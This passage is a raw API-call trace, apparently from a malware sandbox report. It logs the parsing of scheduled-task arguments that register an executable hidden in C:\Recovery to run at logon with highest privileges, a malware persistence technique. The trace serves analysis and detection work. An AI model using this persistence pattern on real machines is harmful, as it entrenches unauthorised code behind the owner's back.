_Buffer="|sc|") returned 4 [0145.820] lstrlenW (lpString="|delete|") returned 8 [0145.820] lstrlenW (lpString="|sc|") returned 4 [0145.820] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0145.820] SetLastError (dwErrCode=0x490) [0145.820] lstrlenW (lpString="query") returned 5 [0145.820] lstrlenW (lpString="query") returned 5 [0145.820] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.820] lstrlenW (lpString="sc") returned 2 [0145.820] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.820] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|query|") returned 7 [0145.820] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|sc|") returned 4 [0145.820] lstrlenW (lpString="|query|") returned 7 [0145.820] lstrlenW (lpString="|sc|") returned 4 [0145.820] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0145.820] SetLastError (dwErrCode=0x490) [0145.820] lstrlenW (lpString="change") returned 6 [0145.820] lstrlenW (lpString="change") returned 6 [0145.820] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.820] lstrlenW (lpString="sc") returned 2 [0145.820] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.821] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|change|") returned 8 [0145.821] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|sc|") returned 4 [0145.821] lstrlenW (lpString="|change|") returned 8 [0145.821] lstrlenW (lpString="|sc|") returned 4 [0145.821] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0145.821] SetLastError (dwErrCode=0x490) [0145.821] lstrlenW (lpString="run") returned 3 [0145.821] lstrlenW (lpString="run") returned 3 [0145.821] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.901] lstrlenW (lpString="sc") returned 2 [0145.901] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.901] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|run|") returned 5 [0145.901] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|sc|") returned 4 [0145.901] lstrlenW (lpString="|run|") returned 5 [0145.901] lstrlenW (lpString="|sc|") returned 4 [0145.901] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0145.901] SetLastError (dwErrCode=0x490) [0145.901] lstrlenW (lpString="end") returned 3 [0145.901] lstrlenW (lpString="end") returned 3 [0145.901] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.901] lstrlenW (lpString="sc") returned 2 [0145.901] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.902] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|end|") returned 5 [0145.902] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|sc|") returned 4 [0145.902] lstrlenW (lpString="|end|") returned 5 [0145.902] lstrlenW (lpString="|sc|") returned 4 [0145.902] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0145.902] SetLastError (dwErrCode=0x490) [0145.902] lstrlenW (lpString="showsid") returned 7 [0145.902] lstrlenW (lpString="showsid") returned 7 [0145.902] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.902] lstrlenW (lpString="sc") returned 2 [0145.902] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.902] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|showsid|") returned 9 [0145.902] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|sc|") returned 4 [0145.902] lstrlenW (lpString="|showsid|") returned 9 [0145.902] lstrlenW (lpString="|sc|") returned 4 [0145.902] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0145.902] SetLastError (dwErrCode=0x490) [0145.902] SetLastError (dwErrCode=0x490) [0145.902] SetLastError (dwErrCode=0x0) [0145.902] lstrlenW (lpString="/sc") returned 3 [0145.902] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0145.902] SetLastError (dwErrCode=0x490) [0145.902] SetLastError (dwErrCode=0x0) [0145.902] lstrlenW (lpString="/sc") returned 3 [0145.902] GetProcessHeap () returned 0x2a0000 [0145.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x8) returned 0x2bc2c0 [0145.903] GetProcessHeap () returned 0x2a0000 [0145.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bccd0 [0145.903] SetLastError (dwErrCode=0x0) [0145.903] SetLastError (dwErrCode=0x0) [0145.903] lstrlenW (lpString="ONLOGON") returned 7 [0145.903] lstrlenW (lpString="-/") returned 2 [0145.903] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0145.903] SetLastError (dwErrCode=0x490) [0145.903] SetLastError (dwErrCode=0x490) [0145.903] SetLastError (dwErrCode=0x0) [0145.903] lstrlenW (lpString="ONLOGON") returned 7 [0145.903] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0145.903] SetLastError (dwErrCode=0x490) [0145.903] SetLastError (dwErrCode=0x0) [0145.903] lstrlenW (lpString="ONLOGON") returned 7 [0145.903] GetProcessHeap () returned 0x2a0000 [0145.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x10) returned 0x2bc2e0 [0145.903] GetProcessHeap () returned 0x2a0000 [0145.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd00 [0145.903] SetLastError (dwErrCode=0x0) [0145.903] SetLastError (dwErrCode=0x0) [0145.903] lstrlenW (lpString="/tr") returned 3 [0145.903] lstrlenW (lpString="-/") returned 2 [0145.903] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.903] lstrlenW (lpString="?") returned 1 [0145.904] lstrlenW (lpString="?") returned 1 [0145.904] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.904] lstrlenW (lpString="tr") returned 2 [0145.904] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.904] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|?|") returned 3 [0145.904] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.904] lstrlenW (lpString="|?|") returned 3 [0145.904] lstrlenW (lpString="|tr|") returned 4 [0145.904] SetLastError (dwErrCode=0x490) [0145.904] lstrlenW (lpString="create") returned 6 [0145.904] lstrlenW (lpString="create") returned 6 [0145.904] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.904] lstrlenW (lpString="tr") returned 2 [0145.904] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.904] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.904] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.904] lstrlenW (lpString="|create|") returned 8 [0145.904] lstrlenW (lpString="|tr|") returned 4 [0145.904] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0145.904] SetLastError (dwErrCode=0x490) [0145.904] lstrlenW (lpString="delete") returned 6 [0145.905] lstrlenW (lpString="delete") returned 6 [0145.905] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.905] lstrlenW (lpString="tr") returned 2 [0145.905] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.905] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|delete|") returned 8 [0145.905] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.905] lstrlenW (lpString="|delete|") returned 8 [0145.905] lstrlenW (lpString="|tr|") returned 4 [0145.905] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0145.905] SetLastError (dwErrCode=0x490) [0145.905] lstrlenW (lpString="query") returned 5 [0145.905] lstrlenW (lpString="query") returned 5 [0145.905] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.905] lstrlenW (lpString="tr") returned 2 [0145.905] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.905] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|query|") returned 7 [0145.905] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.905] lstrlenW (lpString="|query|") returned 7 [0145.905] lstrlenW (lpString="|tr|") returned 4 [0145.905] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0145.905] SetLastError (dwErrCode=0x490) [0145.905] lstrlenW (lpString="change") returned 6 [0145.906] lstrlenW (lpString="change") returned 6 [0145.906] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.906] lstrlenW (lpString="tr") returned 2 [0145.906] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.906] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|change|") returned 8 [0145.906] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.906] lstrlenW (lpString="|change|") returned 8 [0145.906] lstrlenW (lpString="|tr|") returned 4 [0145.906] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0145.906] SetLastError (dwErrCode=0x490) [0145.906] lstrlenW (lpString="run") returned 3 [0145.906] lstrlenW (lpString="run") returned 3 [0145.906] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.906] lstrlenW (lpString="tr") returned 2 [0145.906] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.906] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|run|") returned 5 [0145.906] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.906] lstrlenW (lpString="|run|") returned 5 [0145.906] lstrlenW (lpString="|tr|") returned 4 [0145.906] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0145.906] SetLastError (dwErrCode=0x490) [0145.906] lstrlenW (lpString="end") returned 3 [0145.906] lstrlenW (lpString="end") returned 3 [0145.906] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.906] lstrlenW (lpString="tr") returned 2 [0145.907] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.907] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|end|") returned 5 [0145.907] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.907] lstrlenW (lpString="|end|") returned 5 [0145.907] lstrlenW (lpString="|tr|") returned 4 [0145.907] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0145.907] SetLastError (dwErrCode=0x490) [0145.907] lstrlenW (lpString="showsid") returned 7 [0145.907] lstrlenW (lpString="showsid") returned 7 [0145.907] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.907] lstrlenW (lpString="tr") returned 2 [0145.907] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.907] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|showsid|") returned 9 [0145.907] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tr|") returned 4 [0145.907] lstrlenW (lpString="|showsid|") returned 9 [0145.907] lstrlenW (lpString="|tr|") returned 4 [0145.907] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0145.907] SetLastError (dwErrCode=0x490) [0145.907] SetLastError (dwErrCode=0x490) [0145.907] SetLastError (dwErrCode=0x0) [0145.907] lstrlenW (lpString="/tr") returned 3 [0145.907] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0145.907] SetLastError (dwErrCode=0x490) [0145.907] SetLastError (dwErrCode=0x0) [0145.907] lstrlenW (lpString="/tr") returned 3 [0145.907] GetProcessHeap () returned 0x2a0000 [0145.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x8) returned 0x2bc300 [0145.907] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd30 [0145.908] SetLastError (dwErrCode=0x0) [0145.908] SetLastError (dwErrCode=0x0) [0145.908] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.908] lstrlenW (lpString="-/") returned 2 [0145.908] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0145.908] SetLastError (dwErrCode=0x490) [0145.908] SetLastError (dwErrCode=0x490) [0145.908] SetLastError (dwErrCode=0x0) [0145.908] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.908] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'" [0145.908] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bc320 [0145.908] _memicmp (_Buf1=0x2bc320, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xe) returned 0x2bc340 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bc360 [0145.908] _memicmp (_Buf1=0x2bc360, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x8e) returned 0x2bc380 [0145.908] SetLastError (dwErrCode=0x7a) [0145.908] SetLastError (dwErrCode=0x0) [0145.908] SetLastError (dwErrCode=0x0) [0145.908] lstrlenW (lpString="'C") returned 2 [0145.909] lstrlenW (lpString="-/") returned 2 [0145.909] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0145.909] SetLastError (dwErrCode=0x490) [0145.909] SetLastError (dwErrCode=0x490) [0145.909] SetLastError (dwErrCode=0x0) [0145.909] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.909] GetProcessHeap () returned 0x2a0000 [0145.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x8c) returned 0x2bc420 [0145.909] GetProcessHeap () returned 0x2a0000 [0145.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd60 [0145.909] SetLastError (dwErrCode=0x0) [0145.909] SetLastError (dwErrCode=0x0) [0145.909] lstrlenW (lpString="/rl") returned 3 [0145.909] lstrlenW (lpString="-/") returned 2 [0145.909] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.909] lstrlenW (lpString="?") returned 1 [0145.909] lstrlenW (lpString="?") returned 1 [0145.909] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.909] lstrlenW (lpString="rl") returned 2 [0145.909] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.909] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|?|") returned 3 [0145.909] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.909] lstrlenW (lpString="|?|") returned 3 [0145.909] lstrlenW (lpString="|rl|") returned 4 [0145.909] SetLastError (dwErrCode=0x490) [0145.909] lstrlenW (lpString="create") returned 6 [0145.909] lstrlenW (lpString="create") returned 6 [0145.909] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.910] lstrlenW (lpString="rl") returned 2 [0145.910] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.910] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.910] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.910] lstrlenW (lpString="|create|") returned 8 [0145.910] lstrlenW (lpString="|rl|") returned 4 [0145.910] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0145.910] SetLastError (dwErrCode=0x490) [0145.910] lstrlenW (lpString="delete") returned 6 [0145.910] lstrlenW (lpString="delete") returned 6 [0145.910] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.910] lstrlenW (lpString="rl") returned 2 [0145.910] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.910] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|delete|") returned 8 [0145.910] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.910] lstrlenW (lpString="|delete|") returned 8 [0145.910] lstrlenW (lpString="|rl|") returned 4 [0145.910] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0145.910] SetLastError (dwErrCode=0x490) [0145.910] lstrlenW (lpString="query") returned 5 [0145.910] lstrlenW (lpString="query") returned 5 [0145.910] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.910] lstrlenW (lpString="rl") returned 2 [0145.910] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.910] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|query|") returned 7 [0145.911] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.911] lstrlenW (lpString="|query|") returned 7 [0145.911] lstrlenW (lpString="|rl|") returned 4 [0145.911] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0145.911] SetLastError (dwErrCode=0x490) [0145.911] lstrlenW (lpString="change") returned 6 [0145.911] lstrlenW (lpString="change") returned 6 [0145.911] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.911] lstrlenW (lpString="rl") returned 2 [0145.911] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.911] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|change|") returned 8 [0145.911] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.911] lstrlenW (lpString="|change|") returned 8 [0145.911] lstrlenW (lpString="|rl|") returned 4 [0145.911] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0145.911] SetLastError (dwErrCode=0x490) [0145.911] lstrlenW (lpString="run") returned 3 [0145.911] lstrlenW (lpString="run") returned 3 [0145.911] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.911] lstrlenW (lpString="rl") returned 2 [0145.911] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.911] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|run|") returned 5 [0145.911] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.911] lstrlenW (lpString="|run|") returned 5 [0145.911] lstrlenW (lpString="|rl|") returned 4 [0145.911] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0145.912] SetLastError (dwErrCode=0x490) [0145.912] lstrlenW (lpString="end") returned 3 [0145.912] lstrlenW (lpString="end") returned 3 [0145.912] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.912] lstrlenW (lpString="rl") returned 2 [0145.912] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.912] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|end|") returned 5 [0145.912] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.912] lstrlenW (lpString="|end|") returned 5 [0145.912] lstrlenW (lpString="|rl|") returned 4 [0145.912] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0145.912] SetLastError (dwErrCode=0x490) [0145.912] lstrlenW (lpString="showsid") returned 7 [0145.912] lstrlenW (lpString="showsid") returned 7 [0145.912] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.912] lstrlenW (lpString="rl") returned 2 [0145.912] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.912] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|showsid|") returned 9 [0145.912] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|rl|") returned 4 [0145.912] lstrlenW (lpString="|showsid|") returned 9 [0145.912] lstrlenW (lpString="|rl|") returned 4 [0145.912] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0145.912] SetLastError (dwErrCode=0x490) [0145.912] SetLastError (dwErrCode=0x490) [0145.912] SetLastError (dwErrCode=0x0) [0145.912] lstrlenW (lpString="/rl") returned 3 [0145.913] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0145.913] SetLastError (dwErrCode=0x490) [0145.913] SetLastError (dwErrCode=0x0) [0145.913] lstrlenW (lpString="/rl") returned 3 [0145.913] GetProcessHeap () returned 0x2a0000 [0145.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x8) returned 0x2bc4c0 [0145.913] GetProcessHeap () returned 0x2a0000 [0145.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcd90 [0145.913] SetLastError (dwErrCode=0x0) [0145.913] SetLastError (dwErrCode=0x0) [0145.913] lstrlenW (lpString="HIGHEST") returned 7 [0145.913] lstrlenW (lpString="-/") returned 2 [0145.913] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0145.913] SetLastError (dwErrCode=0x490) [0145.913] SetLastError (dwErrCode=0x490) [0145.913] SetLastError (dwErrCode=0x0) [0145.913] lstrlenW (lpString="HIGHEST") returned 7 [0145.913] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0145.913] SetLastError (dwErrCode=0x490) [0145.913] SetLastError (dwErrCode=0x0) [0145.913] lstrlenW (lpString="HIGHEST") returned 7 [0145.913] GetProcessHeap () returned 0x2a0000 [0145.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x10) returned 0x2bd530 [0145.913] GetProcessHeap () returned 0x2a0000 [0145.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcdc0 [0145.913] SetLastError (dwErrCode=0x0) [0145.913] SetLastError (dwErrCode=0x0) [0145.913] lstrlenW (lpString="/f") returned 2 [0145.913] lstrlenW (lpString="-/") returned 2 [0145.913] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.914] lstrlenW (lpString="?") returned 1 [0145.914] lstrlenW (lpString="?") returned 1 [0145.914] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.914] lstrlenW (lpString="f") returned 1 [0145.914] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.914] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|?|") returned 3 [0145.914] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.914] lstrlenW (lpString="|?|") returned 3 [0145.914] lstrlenW (lpString="|f|") returned 3 [0145.914] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0145.914] SetLastError (dwErrCode=0x490) [0145.914] lstrlenW (lpString="create") returned 6 [0145.914] lstrlenW (lpString="create") returned 6 [0145.914] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.914] lstrlenW (lpString="f") returned 1 [0145.914] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.914] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.914] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.914] lstrlenW (lpString="|create|") returned 8 [0145.914] lstrlenW (lpString="|f|") returned 3 [0145.914] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0145.914] SetLastError (dwErrCode=0x490) [0145.914] lstrlenW (lpString="delete") returned 6 [0145.914] lstrlenW (lpString="delete") returned 6 [0145.914] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.915] lstrlenW (lpString="f") returned 1 [0145.915] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.915] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|delete|") returned 8 [0145.915] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.915] lstrlenW (lpString="|delete|") returned 8 [0145.915] lstrlenW (lpString="|f|") returned 3 [0145.915] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0145.915] SetLastError (dwErrCode=0x490) [0145.915] lstrlenW (lpString="query") returned 5 [0145.915] lstrlenW (lpString="query") returned 